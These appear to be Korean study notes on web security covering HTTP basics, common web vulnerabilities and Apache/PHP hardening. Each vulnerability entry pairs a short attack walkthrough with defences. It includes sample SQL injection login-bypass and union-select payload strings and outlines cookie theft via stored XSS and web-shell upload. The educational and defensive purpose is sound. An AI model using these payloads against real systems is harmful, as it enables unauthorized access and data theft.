요청헤더	여러 헤더로 구성되며 각각의 헤더 정보는 개행으로 구분 Host : 요청의 대상이 되는 서버의 도메인명/호스트명 과 포트 정보 User-Agent : 요청 클라이언트의 어플리케이션/OS 정보 Referer : 현재 요청 URL 정보를 담고 있는 이전 문서의 URL 정보
빈 라인	헤더의 끝을 의미하는 개행으로 그 끝을 식별 <개행> : 헤더의 개수가 가변이기 때문에 빈 라인을 통해 그 끝을 식별
메시지 바디	서버로 전송하는 데이터를 담는 부분 데이터 : id 나 passwd 등 서버로 전송하는 데이터가 있음 - GET 방식은 없음
응답 메시지 구조	**설명**
상태라인	한 행으로 구성되며 HTTP 버전, 상태코드, 응답 구문을 담고 있음 100(정보) : Continue 200(성공) : OK 201(성공) : Created 202(성공) : Accepted 301(재지정 응답 코드) : Moved Permanently(요청 자원이 영구적으로 변경) 302(재지정 응답 코드) : Found(요청 자원의 위치가 임시적으로 변경)

	304(재지정 응답 코드) : Not Modified 400(클라이언트 오류 응답 코드) : Bad Request 401(클라이언트 오류 응답 코드) : Unauthorized 403(클라이언트 오류 응답 코드) : Forbidden(요청 자원에 대한 접근 차단) 404(클라이언트 오류 응답 코드) : Not Found(요청 자원이 존재하지 않음) 500(서버 오류 응답 코드) : Internal Server Error
응답헤더	여러 헤더로 구성되며 각각의 헤더 정보는 개행으로 구분 Content-Type : 메시지 바디의 데이터 형식을 설정 Content-Length : 메시지 바디의 전체 크기를 설정
빈 라인	헤더의 끝을 의미하는 개행으로 그 끝을 식별 <개행> : 헤더의 개수가 가변이기 때문에 빈 라인을 통해 그 끝을 식별
메시지 바디	클라이언트로 전송하는 데이터를 담는 부분 데이터 : 요청정보의 응답에 해당하는 데이터가 있음
웹 브라우저 보안	**설명**
사용 가능한 영역	여러 유형의 사이트를 관리하기 위해 다양한 보안영역을 지원하고 각 영역에 대한 보안 요구사항을 사용자가 정의할 수 있음
1. 인터넷 : 다른 세 가지 영역에 포함되지 않는 웹 사이트를 위한 영역	
2. 로컬 인트라넷 : 사용자의 컴퓨터와 네트워크상에 있는 웹사이트를 위한 영역	
3. 신뢰할 수 있는 사이트 : 사용자가 안전한 콘텐츠를 갖고 있다고 신뢰하는 페이지를 설정하는 웹 사이트 영역	
4. 제한된 사이트 : 어떤 이유에서든 사용자가 신뢰할 수 없거나 보안 페이지로 설정할 수 없는 웹사이트 영역	

tishac.tistory.com

웹 공격

SQL Injeciton 취약점	
웹 어플리케이션에서 입력받아 데이터베이스로 전달하는 정상적인 SQL 질의를 변조, 삽입하여 비정상적인 데이터베이스 접근을 시도하는 기법 - 조작한 입력으로 데이터베이스를 인증 절차 없이 접근 및 자료를 무단 유출하거나 변조 - 접근하는 사용자를 피싱 사이트 또는 악성코드 유포 사이트로 유도 - 저장된 프로시저를 통한 OS 명령어 실행 - DB 에 있는 개인정보 획득	
무료 SQL Injection 취약점 스캐너	**설명**
Nikto	GNU 기반 오픈소스로 웹서버 및 SQL Injection 에 대한 취약점 점검(리눅스)
SQLMap	블라인드 SQL Injection 을 자동으로 수행하는 도구(Python 에서 개발)
Absinthe	GUI 기반의 도구로 블라인드 SQL Injection 취약점에 이용(자동화 과정)
공격 방식에 의한 분류	**설명**
Form SQL Injection	HTML Form 기반 인증을 담당하는 어플리케이션의 취약점이 있는 경우 사용자 인증을 위한 질의문의 조건을 임의로 조작하여 인증을 우회하는 기법
1. 공격자는 아이디 파라미터로 조건절을 무조건 참으로 만드는 입력값 삽입	

2. PHP 페이지에서 파라미터를 전달받아 질의문을 수행	
3. ' or 1=1 를 통해 조건절을 항상 참이 되도록 만들어 모든 레코드가 select	
4. 주석문자를 통해 그 이하의 구문을 주석 처리하여 인증을 무력화	
Union SQL Injection	union select 질의를 이용하여 질의의 결과를 다른 질의의 결과에 결합하여 공격하는 기법
1. 컬럼 개수를 파악하기 위해 order by 문을 이용하여 SQL 에러 발생 여부를 체크	
2. order by 문에 4 번째 컬럼을 지정했을 때 SQL 에러가 발생하면 컬럼이 3 개임을 판단	
3. 공격자는 아이디 입력 폼에 'union select 'admin','admin',''admin'# 을 삽입	
4. 비밀번호로 admin 을 전달하여 패스워드를 admin 으로 변경	
Stored Procedure SQL Injection	저장 프로시저를 이용하여 데이터베이스에 악의적인 SQL 코드를 삽입하여 공격하는 기법
1. 선행하는 파라미터와 값 뒤에 세미콜론 입력	
2. 수행시킬 저장 프로시저를 입력	
3. 명령어를 연속적으로 수행	
Mass SQL Injection	한 번의 공격으로 대량의 DB 값이 변조되어 홈페이지에 치명적인 영향을 미치는 공격 기법
1. DB 값 변조 시 악성 스크립트를 삽입(js, swf, exe 파일 이용)	
2. 테이블의 문자형 컬럼 데이터 모두에 악성코드의 유포지 정보가 삽입	
3. 사용자가 변조된 사이트 방문 시 감염되거나 악성 Bot 이 설치	
공격 유형에 의한 분류	**설명**
Error-Based SQL Injection	DB 질의에 대한 에러 값을 기반으로 한 단계씩 점진적으로 DB 정보를 획득하는 방법 - Union SQL Injection 유형
Blind SQL Injection	질의 결과의 참과 거짓을 통해 의도하지 않은 SQL 문을 실행함으로써 데이터베이스를 비정상적으로 공격하는 기법 - From SQL Injection, Stored Procedure SQL Injection, Mass SQL Injection 유형
SQL Injection 취약점 대응방안	**설명**
사용자 권한 제한	데이터베이스 사용자 권한을 제한
선처리 질의문	사전에 컴파일된 질의문을 이용하여 이후 입력되는 사용자 입력은 질의문 자체를 변경할 수 없도록 함
문자열 길이 제한	입력되는 문자열의 길이를 제한하고 숫자일 경우 숫자인지 체크하는 함수를 사용
확장 프로시저 제거	MS-SQL 의 경우 확장 프로시저를 제거하는 것이 안전
문자열 필터링	사용자의 입력값에 SQL 질의문에 이용되는 특수문자 및 SQL 관련 문자열을 필터링 - PHP 가 구버전일 경우 /etc/php.ini 파일에 magic_quotes_gpc = On 를 설정, PHP 버전이 5.4 이상일 경우 기능을 수행하는 파일에 mysql_real_escape_string() 함수를 사용하여 특수문자를 치환

jishac.tistory.com

XSS 취약점	
웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점 - XSS 취약점이 발생할 수 있는 입력 가능한 폼 등에 스크립트를 삽입하여 취약점을 판단	
공격 방식에 의한 분류	**설명**
Stored XSS	공격자가 취약한 웹서버에 악성 스크립트를 저장해 놓으면 클라이언트가 해당 자료를 요청할 때 해당 악성 스크립트가 삽입된 응답 페이지가 전달되어 클라이언트 측에서 동작하는 방식 - 서버 DB 에 저장된 게시글의 응답 페이지에서 발생
1. 공격자는 악성 스크립트를 포함한 게시물 등록을 요청	
2. 웹서버는 DB 에 악성 스크립트가 포함된 게시물을 저장	
3. 희생자는 악성 스크립트가 포함된 게시물 읽기 요청	
4. 웹서버는 악성 스크립트가 포함된 게시물을 희생자에게 응답	
5. 자바스크립트가 희생자 PC 에서 동작	
6. 공격자 서버로 쿠키 정보를 전달	
Reflected XSS	외부에 있는 악성 스크립트가 희생자 액션에 의해 취약한 웹서버로 전달되고 웹서버의 응답 페이지에 해당 악성 스크립트가 삽입되어 희생자 측에서 동작하는 방식 - 메일 링크를 통한 응답 페이지에서 발생
1. 공격자는 악성 스크립트가 포함된 링크를 희생자에게 메일로 전송	
2. 희생자는 메일 링크를 클릭하여 악성 스크립트가 포함된 링크를 요청	
3. 웹서버는 악성 스크립트를 포함한 응답페이지를 생성하여 희생자에게 응답	
4. 희생자 PC 에서 응답페이지에 포함된 악성 스크립트가 동작	
DOM based XSS	희생자의 웹 브라우저에서 응답 페이지에 포함된 자바스크립트가 동작하면서 DOM 객체를 실행할 때 URL 등에 포함된 악성 스크립트가 희생자 측에서 동작하는 방식 - DOM 객체로 인한 웹 브라우저에서 발생
1. 공격자는 악성 스크립트가 포함된 링크를 희생자에게 메일로 전송	
2. 희생자는 메일 링크를 클릭하여 악성 스크립트가 포함된 링크를 요청	
3. 웹서버에서 악성 스크립트가 포함된 페이지로 응답	
4. 웹 브라우저는 페이지에 대한 DOM 객체를 생성	
5. 웹 브라우저에 의해 악성 스크립트가 실행	
XSS 취약점 대응방안	**설명**
입력값 검증	사용자 입력값에 대한 검증은 반드시 서버 단에서 수행
입력값 치환	HTML 코드로 인식될 수 있는 특수문자를 일반문자로 치환
태그 리스트	HTML 태그를 허용해야 하는 경우라면 화이트리스트를 선정하여 허용

tishac.tistory.com

CSRF 취약점
정상적인 경로를 통한 요청과 비정상적인 경로를 통한 요청을 서버가 구분하지 못할 경우 공격자가 스크립트 구문을 이용하여 정상적인 사용자가 조작된 요청을 전송하도록 하는 취약점 - 입력 가능한 폼에 img 태그의 src 속성을 사용해 조작된 요청을 입력하여 취약점을 판단 - 조작된 요청 발생 주체는 클라이언트
CSRF 공격 과정
1. 공격자는 조작된 요청정보를 담고 있는 게시물을 웹서버에 등록 요청
2. 웹서버는 조작된 게시물을 DB 에 등록
3. 희생자는 조작된 게시물을 읽기 요청
4. 웹서버는 희생자의 권한으로 조작된 요청내용을 처리
5. 희생자도 모르게 공격자가 조작한 비밀번호로 변경

CSRF 취약점 대응방안	설명
토큰 사용	모든 HTTP 요청 내에 예측할 수 없는 임의의 토큰을 추가하여 요청을 판별
XSS 에 대한 취약점 제거	XSS 와 공격 방식이 유사하므로 XSS 에 대한 취약점을 제거

SSRF 취약점
외부에 노출된 웹서버에 취약한 어플리케이션이 존재하는 경우 공격자는 URL 또는 요청 정보를 위조하여 접근통제를 우회하는 방식으로 보호된 내부 서버에 있는 정보를 획득하거나 비정상적인 행위를 유도할 수 있는 취약점 - 조작된 요청 발생 주체는 웹서버
SSRF 공격 과정
1. 공격자는 웹서버의 내부 요청을 조작할 수 있도록 사용자 요청을 조작
2. 웹서버는 조작된 내부 서버 서비스 요청을 수행
3. 내부 서버는 자신의 내부정보를 웹서버에 응답
4. 웹서버는 내부 서버의 내부정보를 공격자에게 응답

SSRF 취약점 대응방안	설명
화이트리스트 설정	입력값을 다른 시스템의 서비스 호출에 사용하는 경우 화이트리스트 방식으로 필터링
블랙리스트 선정	무작위 입력값을 사용해야 한다면 블랙리스트 방식으로 필터링
요청 처리	동일한 내부 네트워크에 있는 서버 간이라도 인증, 접근 권한 등을 확인하여 요청을 처리

운영체제 명령 실행 취약점
적절한 검증 절차를 거치지 않은 사용자 입력값이 운영체제 명령어의 일부 또는 전부를 구성되어 실행되는 경우 의도하지 않은 시스템 명령어가 실행되는 취약점 - 입력 가능한 폼에 명령어를 삽입하여 취약점을 판단
운영체제 명령 실행 과정

tishac.tistory.com

1. 공격자는 파라미터에 운영체제 명령어를 삽입하여 웹서버에 요청	
2. 웹서버는 입력값에 대한 적절한 필터링 미흡으로 운영체제 명령어를 실행	
3. 명령어 실행 결과를 공격자에게 응답	
운영체제 명령 실행 취약점 대응방안	**설명**
문자열 필터링	명령어를 실행할 수 있는 문자열을 필터링하거나 치환하도록 소스 파일을 작성
보안장비 운영	보안 장비를 통해 룰셋을 적용
화이트리스트 선정	허용할 수 있는 명령어 리스트를 선정하여 해당 명령어만 실행되도록 설정

파일 업로드 취약점	
업로드 파일에 대해 적절한 제어를 하지 않을 경우 웹쉘 등 허가되지 않은 파일들이 웹서버로 업로드 되거나 다량의 아주 큰 파일을 연속적으로 전송하여 시스템 부하나 장애를 유발할 수 있는 취약점 - 파일 업로드 가능한 입력 폼에 웹쉘을 업로드하여 취약점을 판단	
파일 업로드 과정	
1. 공격자는 악성 스크립트 파일을 웹서버에 업로드 요청	
2. 웹서버는 업로드 파일에 대한 필터링 미흡으로 업로드 처리	
3. 공격자는 웹쉘을 이용한 명령 실행	
파일 업로드 취약점 대응방안	**설명**
파일 검증	파일타입 및 확장자를 모두 검증하도록 함
업로드 크기 제한	업로드 크기를 지정하여 업로드 파일의 크기를 제한
	1. /etc/httpd/conf/httpd.conf 에서
	2. 파일 업로드 디렉터리 섹션에 대한 LimitRequestBody 5000000 설정
실행 방지/호출 방지	업로드 디렉터리에 있는 서버 사이드 스크립트 파일이 실행되지 않도록 설정하거나 직접 URL 호출을 차단
	1. /etc/httpd/conf/httpd.conf 에서
	2. 파일 업로드 디렉터리 섹션에 대한 AllowOverride All 설정
	3. 파일 업로드 디렉터리에 .htaccess 파일 생성
	4. .htaccess 파일의 AddType 지시자와 FilesMatch 지시자를 통해 실행 방지/호출 방지 - AddType 지시자를 통해 서버 사이드 스크립트 실행을 차단 - FilesMatch 지시자를 통해 서버 사이드 스크립트 직접 URL 호출을 차단

파일 다운로드 취약점
파일 다운로드 시 파일의 경로 및 파일명을 파라미터로 받아 처리하는 경우 이를 적절히 필터링하지 않으면 공격자가 이를 조작하여 허용되지 않은 파일을 다운받을 수 있는 취약점 - 파일 다운로드가 가능한 페이지의 URL/파라미터를 조작하여 임의의 파일 다운로드하여 취약점을 판단
파일 다운로드 과정

1. 공격자는 파일 다운로드 대상을 조작한 후 웹서버에 다운로드 요청	
2. 웹서버는 다운로드 파일에 대한 필터링 미흡으로 다운로드 처리	
3. 공격자는 중요 파일 다운로드에 성공	
파일 다운로드 취약점 대응방안	**설명**
접근 방지	입력하는 파일 경로와 이름에 대해 허용하는 경로 이외의 디렉터리와 파일에 접근할 수 없도록 함
문자열 필터링	파일 경로를 변경할 수 있는 문자열을 필터링하도록 소스 파일을 작성
보안장비 운영	보안장비를 운영 중이라면 필터링 룰셋을 적용

경로 조작 취약점	
파일 또는 디렉터리 접근이 통제되지 않아 웹서버 또는 웹 어플리케이션의 중요한 파일과 데이터에 대한 접근 및 실행이 허용되는 취약점 - 요청 파라미터값을 임의의 경로가 포함된 값으로 변경 후 접근하여 취약점을 판단	
경로 조작 과정	
1. 공격자는 요청 파라미터를 조작하여 경로 추적 문자열을 삽입 후 웹서버에 요청	
2. 웹서버는 입력값에 대한 필터링 미흡으로 해당 파일 접근 처리	
3. 공격자는 파일 내용 또는 실행 결과를 확인	
경로 조작 취약점 대응방안	**설명**
웹 루트 디렉터리 설정	웹서버의 시스템 루트 디렉터리로 접근하지 못하도록 함 - chroot
문자열 필터링	경로를 조작할 수 있는 문자를 필터링하도록 소스 파일을 작성
보안장비 운영	보안장비를 운영 중이라면 필터링 룰셋을 적용

파일 삽입 취약점	
악성 서버 스크립트를 서버에 전달하여 해당 페이지를 통해 악성코드가 실행되도록 함 include 함수 : 지정한 페이지를 현재 페이지에 포함해 실행 시켜주는 함수	
파일 삽입 방식	**설명**
LFI 를 통한 웹쉘 실행	서버에 FTP 나 자료실로 악성 코드를 업로드시켜 include
RFI 를 통한 웹쉘 실행	외부 서버의 악성 코드를 불러와 include
파일 삽입 취약점 대응방안	**설명**
소스코드 확인	include, require 등의 구문/함수가 존재하는지 검증
원격 파일 접근 제한	외부 파일이 URL 형태로 include 되지 않도록 함 - php.ini 파일에 allow_url_fopen = Off 설정
에러 페이지 출력 제한	에러 정보를 제공하지 않도록 함

	- php.ini 파일에 display_errors = Off 설정

URL/파라미터 변조 취약점	
실행경로에 대해서 접근제어를 검사하지 않거나 불완전하게 구현하여 공격자가 URL/파라미터값을 조작하여 중요정보에 접근 가능해지는 취약점 - URL/파라미터를 조작하여 취약점을 판단	
URL/파라미터 변조 과정	
1. 공격자가 정보수정 페이지를 웹서버에 요청	
2. 공격자는 웹 프록시를 통해 자신의 id 파라미터를 admin 으로 변조	
3. 웹서버는 공격자에게 관리자의 정보수정 페이지로 응답	
URL/파라미터 변조 취약점 대응방안	**설명**
서버 측 세션 이용	파라미터 정보를 이용하는 것이 아닌 서버 측 세션 정보를 이용하여 정보를 해당 세션에 저장
페이지 재인증	중요 정보가 있는 페이지는 재인증을 적용

불충분한 세션 관리 취약점	
사용자가 로그인할 때 매번 동일한 세션 ID 를 발급하거나 세션 타임아웃을 너무 길게 설정하였을 경우 공격자가 다른 사용자의 세션을 재사용하여 해당 사용자의 권한을 탈취할 수 있는 취약점 - 세션 ID 를 분석 및 변조 후 로그인 시도를 하여 취약점을 판단 HTTP 세션 하이재킹 : 탈취한 세션 ID 를 이용하여 다른 브라우저에서 계정 세션을 가로채는 방법	
불충분한 세션 관리 취약점 대응방안	**설명**
랜덤한 세션 ID	로그인 시마다 추측할 수 없는 랜덤한 값으로 새롭게 발급
세션 타임아웃 설정	요청이 없으면 자동으로 로그아웃 - php.ini 파일에서 session.gc_maxlifetime = 600 을 설정
httponly 속성 쿠키 사용	스크립트로 쿠키 참조 불가 - php.ini 파일에서 session.cookie_httponly = 1 을 설정
secure 속성 쿠키 사용	HTTPS 통신에만 쿠키 전송 - php.ini 파일에서 session.cookie_secure = 1 을 설정

정보누출 취약점	
민감한 정보가 개발자의 부주의로 인해 노출되는 것으로 중요정보를 주석 구문에 포함해 의도하지 않게 정보가 노출되거나 에러 페이지 또는 에러 메시지를 통해 불필요한 정보가 노출되는 취약점 - 디폴트 에러 페이지에 의한 웹서버 정보 노출 확인(응답코드와 웹서버 정보가 노출) - 에러 메시지에 의한 웹서버 정보 노출 확인(시스템, 파일 정보 노출)	
정부누출 취약점 대응방안	**설명**

rishacristory.com

에러 페이지 등록	/etc/httpd/conf/httpd.conf 에서 ErrorDocument 지시자를 이용하여 각 에러 코드별 에러 페이지 등록
에러 메시지 제한	/etc/php.ini 에서 display_errors = Off 설정

HTTP 응답 분할 취약점	
클라이언트의 HTTP 요청에 포함된 요청 파라미터값이 HTTP 응답헤더에 포함되어 클라이언트에게 다시 전달될 때, 파라미터값에 개행문자인 CR 과 LF 가 포함되어 있으면 HTTP 응답이 2 개 이상으로 분리될 수 있음	
HTTP 응답 분할 과정	
1. 희생자는 공격자에 의해 cookieValue 파라미터가 조작된 링크 등을 클릭	
2. 요청 메시지를 웹서버에 전달 - 개행문자를 이용한 악의적인 두 번째 응답 메시지가 포함	
3. 응답헤더에 Set-Cookie: nickname 이 설정	
4. 쿠키에 포함된 Content-Length:0 헤더 이후의 개행문자 연속 2 개에 의해 응답 메시지가 2 개로 분할되어 처리	
HTTP 응답 분할 취약점 대응방안	**설명**
필터링	HTTP 응답 분할이 발생되지 않도록 적절히 필터링 - 클라이언트 요청 파라미터가 서버 프로그램에서 Syn-Cookie 응답헤더로 사용할 경우 - 리다이렉션을 위해 Location 응답헤더로 사용할 경우 - 기타 응답헤더 설정에 사용할 경우

tishac.tistory.com

XXE Injection 취약점	
취약한 XML 파서가 외부 개체를 참조하는 XML 데이터를 처리할 때 공격자가 삽입한 공격 구문이 포함된 외부 개체가 동작하여 악의적인 행위를 수행할 수 있는 취약점	
공격 형태	**설명**
중요 파일 접근	웹서버의 중요파일을 참조할 수 있는 foo 외부 개체가 포함된 XML 데이터를 입력
내부 서비스 요청	URL 경로에 서비스를 요청한 결과를 참조할 수 있는 foo 외부 개체가 포함된 XML 데이터를 입력
서비스 거부 공격	XML 내 하나의 개체가 다른 개체를 반복적으로 참조하도록 구성
XXE Injection 취약점 대응방안	**설명**
외부 개체 비활성화	사용하는 XML 파서의 외부 개체 참조 기능을 사용하지 않도록 비활성화
DTD 필터링	외부 개체를 선언하는 DTD 를 필터링

Xpath/Xquery Injection 취약점
데이터베이스와 연동된 웹 어플리케이션에서 Xpath 및 Xquey 질의문에 대한 필터링이 제대로 이루어지지 않으면 공격자가 입력이 가능한 폼에 조작된 질의문을 삽입하여 인증 우회를 통해 인가되지 않은 데이터를 열람할 수 있는 취약점

Xpath/Xquery Injection 취약점 대응방안	설명
필터링	Xpath, Xquery 에 사용되는 외부 입력데이터에 대하여 특수문자 및 질의 예약어 필터링
인자화된 질의문 사용	스트링을 연결하는 형태로 구성하지 않고 인자화된 질의문 사용

악성 컨텐츠 취약점	
사용자 입력값에 대한 필터링이 제대로 이루어지지 않으면 공격자가 악성 컨텐츠를 삽입할 수 있으며, 악성 컨텐츠가 삽입된 페이지에 접속한 사용자는 악성코드 유포 사이트가 자동으로 호출되어 악성코드에 감염될 수 있는 취약점	
악성 컨텐츠 취약점 대응방안	**설명**
SQL Injection 취약점 제거	취약점을 제거하여 악성 컨텐츠를 삽입할 수 없도록 함
XSS 취약점 제거	취약점을 제거하여 악성 컨텐츠를 삽입할 수 없도록 함
파일 업로드 취약점 제거	취약점을 제거하여 악성 컨텐츠를 삽입할 수 없도록 함

불충분한 인증 및 인가 취약점	
개인정보 수정 페이지나 통합 로그인과 같은 곳에서 사용자 인증이 미흡할 경우 공격자가 파라미터로 전달되는 값을 수정하여 사용자 도용 및 개인정보 노출 문제가 발생할 수 있는 취약점	
불충분한 인증 및 인가 취약점 대응방안	**설명**
아이디 정보 비교	로그인한 사용자들의 아이디 정보를 세션에 저장하여 세션에 저장된 아이디 값과 전달된 파라미터 값을 비교

thisiactuistory.com

취약한 패스워드 복구 취약점	
비밀번호 찾기 기능 또는 관리자에 의한 임시 비밀번호 발급 시 사용자 인증이 미흡하거나 비밀번호를 화면에 즉시 출력하는 경우 공격자가 불법적으로 다른 사용자의 비밀번호를 획득, 변경, 복구할 수 있는 취약점	
취약한 패스워드 복구 취약점 대응방안	**설명**
본인인증 메커니즘 구현	사용자 본인인증 메커니즘 구현 시 추측이 불가하게 구현
난수 값 사용	임시 패스워드 발급 시 안전한 난수 값 사용

자동화 공격 취약점
특정 프로세스에 대한 접근시도 횟수 제한을 설정하지 않으면 공격자가 자동화 도구 및 봇을 활용하여 일 분에 수백 번의 접근을 시도할 수 있으며 특정 프로세스를 반복 수행함으로써 자동으로 수많은 프로세스가 진행되어 시스템 성능에 영향을 미칠 수 있는 취약점

자동화 공격 취약점 대응방안	설명
CAPTCHA	서버에 요청하는 사용자가 실제 사람인지, 컴퓨터 프로그램인지 구별할 수 있도록 적용

데이터 평문전송 취약점	
민감한 데이터가 평문으로 통신채널을 통해 송수신될 경우 공격자가 스니핑을 통해 다른 사용자의 민감한 데이터를 획득할 수 있는 취약점	
데이터 평문전송 취약점 대응방안	**설명**
송수신 암호화	중요 데이터에 대해 송수신 시 암호화를 적용하여 중간에 감청되더라도 그 내용을 알 수 없도록 함
보안 서버 적용	서버와 클라이언트 통신 시 중요정보가 사용되는 구간에 SSL 등 암호화 통신 적용

쿠키 변조 취약점	
사용자의 인증 방식 중 하나인 쿠키를 공격자가 변조하여 다른 사용자로 전환하거나 권한 상승이 가능한 취약점	
쿠키 변조 취약점 대응방안	**설명**
세션 방식 이용	쿠키 방식 대신 세션 방식을 이용하는 것을 권장
암호화 적용	쿠키를 사용해야 할 경우 암호화를 적용하여 사용

tishac.tistory.com

웹 보안

개발 보안
개발 보안 관리는 웹 어플리케이션 개발 시 사전 작업으로 서비스에 사용하는 웹서버와 어플리케이션 서버의 환경설정에 대한 보안을 강화하기 위함 - 전달된 값을 재사용하지 않는다. - 최종 통제 메커니즘은 서버 단에서 수행한다. - 클라이언트에게 중요 정보를 전송하지 않는다. - 중요정보 전송 시 POST 메소드 및 암호화 통신을 적용한다. - 중요한 트랜잭션이 일어나는 프로세스에 대해서는 재확인 절차를 추가한다. - 중요정보가 보여지는 페이지는 캐시를 적용하지 못하게 한다. - 적절한 방법으로 암호화를 수행한다. - 각 언어에서 제공하는 보안 수단을 이해한 후 사용한다.

디렉터리 리스팅 제거
웹 서버의 미흡한 설정으로 인해 인덱싱 기능이 활성화되어 있으면 공격자가 강제 브라우징을 통해 서버 내의 모든 디렉터리 및 파일 목록을 볼 수 있는 취약점이 발생
디렉터리 리스팅 과정
1. URI 에 특정 페이지가 아닌 디렉터리 경로를 요청

2. 웹 브라우저상에 해당 디렉터리 내의 디렉터리/파일 정보가 그대로 노출
3. 디렉터리/파일을 클릭하여 그 내용을 확인

디렉터리 리스팅 취약점 대응방안	설명
디렉터리 리스팅 비활성화	/etc/httpd/conf/httpd.conf 에서 모든 Directory 섹션의 Options 지시자에 있는 Indexes 옵션을 제거하거나 주석처리

심볼릭 링크 사용 설정 제거	
아파치 웹서버 설정 파일의 모든 디렉터리 섹션의 Options 지시자에 FollowSymLinks 설정이 되어 있으면 심볼릭 링크가 가능한 취약점이 발생	
심볼릭 링크 사용 설정 제거	**설명**
심볼릭 링크 사용 설정 비활성화	/etc/httpd/conf/httpd.conf 에서 모든 Directory 섹션의 Options 지시자에 FollowSymLinks 제거 또는 주석 처리

웹 서비스 메소드 설정
일반적으로 사용하는 GET, POST 메소드 이외의 불필요한 메소드를 허용하였을 경우 공격자가 이를 이용하여 웹서버에 악성파일을 생성하거나 중요 파일의 삭제 및 수정 등이 가능한 취약점이 발생
웹 서비스 메소드 확인 과정
1. telnet 프로그램을 이용하여 telnet 대상 웹서버의 서비스 포트로 접속
2. OPTIONS 메소드 요청 메시지를 생성하여 전송
3. OPTIONS 메소드를 지원할 경우 OK 응답과 Allow 응답 헤더 필드를 통해서 지원하는 메소드 리스트를 확인

tishac.tistory.com

웹 서비스 메소드 설정 취약점 대응방안	설명
GET, POST 이외에는 허용 금지	/etc/httpd/conf/httpd.conf 에서
	<LimitExcept GET POST> Order allow, deny Deny from all </LimitExcept>

관리자 페이지 설정
전반적인 기능 설정 및 회원 관리를 할 수 있는 관리자 페이지가 추측할 수 있는 형태로 구성되어 있으면 공격자가 관리자 페이지에 쉽게 접근할 수 있으며 무작위 대입 공격을 통하여 관리자 권한을 획득할 수 있는 취약점이 발생
관리자 페이지 노출 확인 과정
1. 쉽게 추측할 수 있는 관리자 페이지에 접근
2. 무작위 대입 공격 등을 통하여 관리자 권한을 획득
3. 회원 관리 등 각종 설정을 수행

관리자 페이지 노출 취약점 대응방안	설명
관리자 페이지 접근제어 설정	/etc/httpd/conf/httpd.conf 에서 <Directory "[관리자 페이지 절대경로]"> Order Deny, Allow Deny from all Allow from [허용할 IP] </Directory>
관리자 페이지 이름 변경	쉽게 추측할 수 없는 이름으로 페이지 이름 변경

위치공개 설정	
백업파일, 로그파일, 압축파일과 같은 파일이 자동적으로 생성되어 웹 어플리케이션 상에 노출될 경우 공격자가 유추 후 직접 접근을 요청하여 핵심 정보를 획득할 수 있는 취약점이 발생	
위치공개 확인 과정	
1. 외부에서 URI 상에 파일을 유추하여 요청	
2. 다운로드에 성공	
위치공개 취약점 대응방안	**설명**
파일 접근제어 설정	/etc/httpd/conf/httpd.conf 에서 <Files ~ "₩.gz$"> Order Allow, Deny Deny from all </Files> <Files ~ "₩.bak$"> Order Allow, Deny Deny from all </Files>
불필요한 파일 삭제	웹 루트 디렉터리에서 삭제

tishac.tistory.com

검색엔진 정보 설정	
검색엔진에 의해 웹 사이트 해킹에 필요한 정보가 검색되어 해킹의 빌미가 제공되는 취약점이 발생	
검색엔진 정보 접근 과정	
1. 검색로봇은 사이트 방문 시 먼저 robots.txt 파일을 확인	
2. robots.txt 파일이 없으면 검색엔진 접근 차단 설정이 미적용된 상태	
위치공개 취약점 대응방안	**설명**

검색엔진 접근을 제어	/웹 루트 디렉터리/robots.txt 에서 User-agent: Googlebot Disallow: /cgi-bin/ Disallow: /private/ Disallow: /*.pdf$ Disallow: /*.gif$ User-agent: Yeti Disallow: /cgi-bin/ Disallow: /private/ Disallow: /*.pdf$ Disallow: /*.gif$

웹 서비스 최소 권한 사용자 운영
웹서버 운영 시 위험을 최소화하기 위해서 최소한의 권한을 가진 사용자와 그룹으로 웹서버 프로세스를 실행해야 함
웹 서비스 최소 권한 사용자 설정
1. /etc/passwd 에서 웹서버 프로세스를 실행할 수 있는 사용자로 시스템에 로그인할 수 없도록 설정
2. /etc/httpd/conf/httpd.conf 에서 User apache 와 Group apache 설정
3. ps -ef | grep httpd 명령으로 서비스 요청을 처리하는 서비스 프로세스를 확인

tishac.tistory.com

웹 서비스 정보 숨김	
웹서버에서는 응답 헤더나 에러 메시지 등에 웹서버 버전이나 종류, OS 정보, 응용 프로그램 버전 등을 전송함	
웹 서비스 정보 숨기기	**설명**
정보 레벨 최소화	/etc/httpd/conf/httpd.conf 에서 ServerTokens Prod 설정 - 응답 헤더의 정보 레벨 최소화
웹 서버 정보 차단	/etc/httpd/conf/httpd.conf 에서 ServerSignature Off 설정 - 응답 헤더 또는 에러 메시지 등을 통한 웹서버 정보 차단

httpd.conf 파일 설정
/etc/httpd/conf/httpd.conf 파일에서 주요 설정이 가능
ServerRoot [웹서버가 설치된 최상위 디렉터리 경로를 지정] Listen [접속할 웹서버의 리스닝 포트를 설정] User [서버 프로세스를 실행할 사용자 정보지정] Group [서버 프로세스를 실행할 그룹 정보 지정] ServerTokens [HTTP 응답 시 헤더의 Server 필드를 통해 제공할 정보 레벨을 지정] ServerSignature [웹 서버의 각종 정보를 제공할지 지정] ServerAdmin [전달되는 에러 메시지에 포함될 관리자 메일 주소를 설정] DocumentRoot [웹 어플리케이션의 웹 루트 디렉터리를 지정]

DirectoryIndex [웹 서버의 기본 페이지를 지정]
타임아웃 관련 설정
Timeout [아무런 메시지가 발생하지 않을 동안의 대기 시간을 초 단위로 지정] KeepAlive[연결을 일정 조건에 따라 지속시켜 동일한 연결을 통해 다수 요청을 처리 기능의 사용 여부 지정] MaxKeepAliveRequests [연결을 지속하는 동안에 허용할 최대 요청 건수를 지정] KeepAliveTimeout [연결을 지속하는 동안에 클라이언트의 마지막 요청 이후 다음 요청을 대기하는 시간을 지정] RequestReadTimeout [요청 메시지의 헤더 부, 바디 부를 모두 수신하는 시간에 대한 타임아웃을 지정]
웹 로그 관련 설정
ErrorLog [에러 로그파일의 경로를 지정] CustomLog [접속기록을 저장하기 위한 로그파일의 경로를 지정]

웹 로그 분석	
클라이언트가 웹 서버에 접속하면 클라이언트와 웹서버 간에는 요청과 응답이 지속적으로 발생 - 접속 사용자의 행위/취향 등을 분석 - 보안사고 발생 시 이를 추적할 수 있는 증거자료 - 보안사고 발생 전 이상 징후, 해킹시도, 해킹 성공 여부를 확인 - 다양한 웹 패턴 파악 - 접속 시간, 접근 파일 정보, 사용자 정보, 요청 방식, 성공여부 등을 확인	
웹 로그 종류	**설명**
액세스 로그	클라이언트의 요청으로 웹 서버가 응답한 내용은 액세스 로그파일에 기록
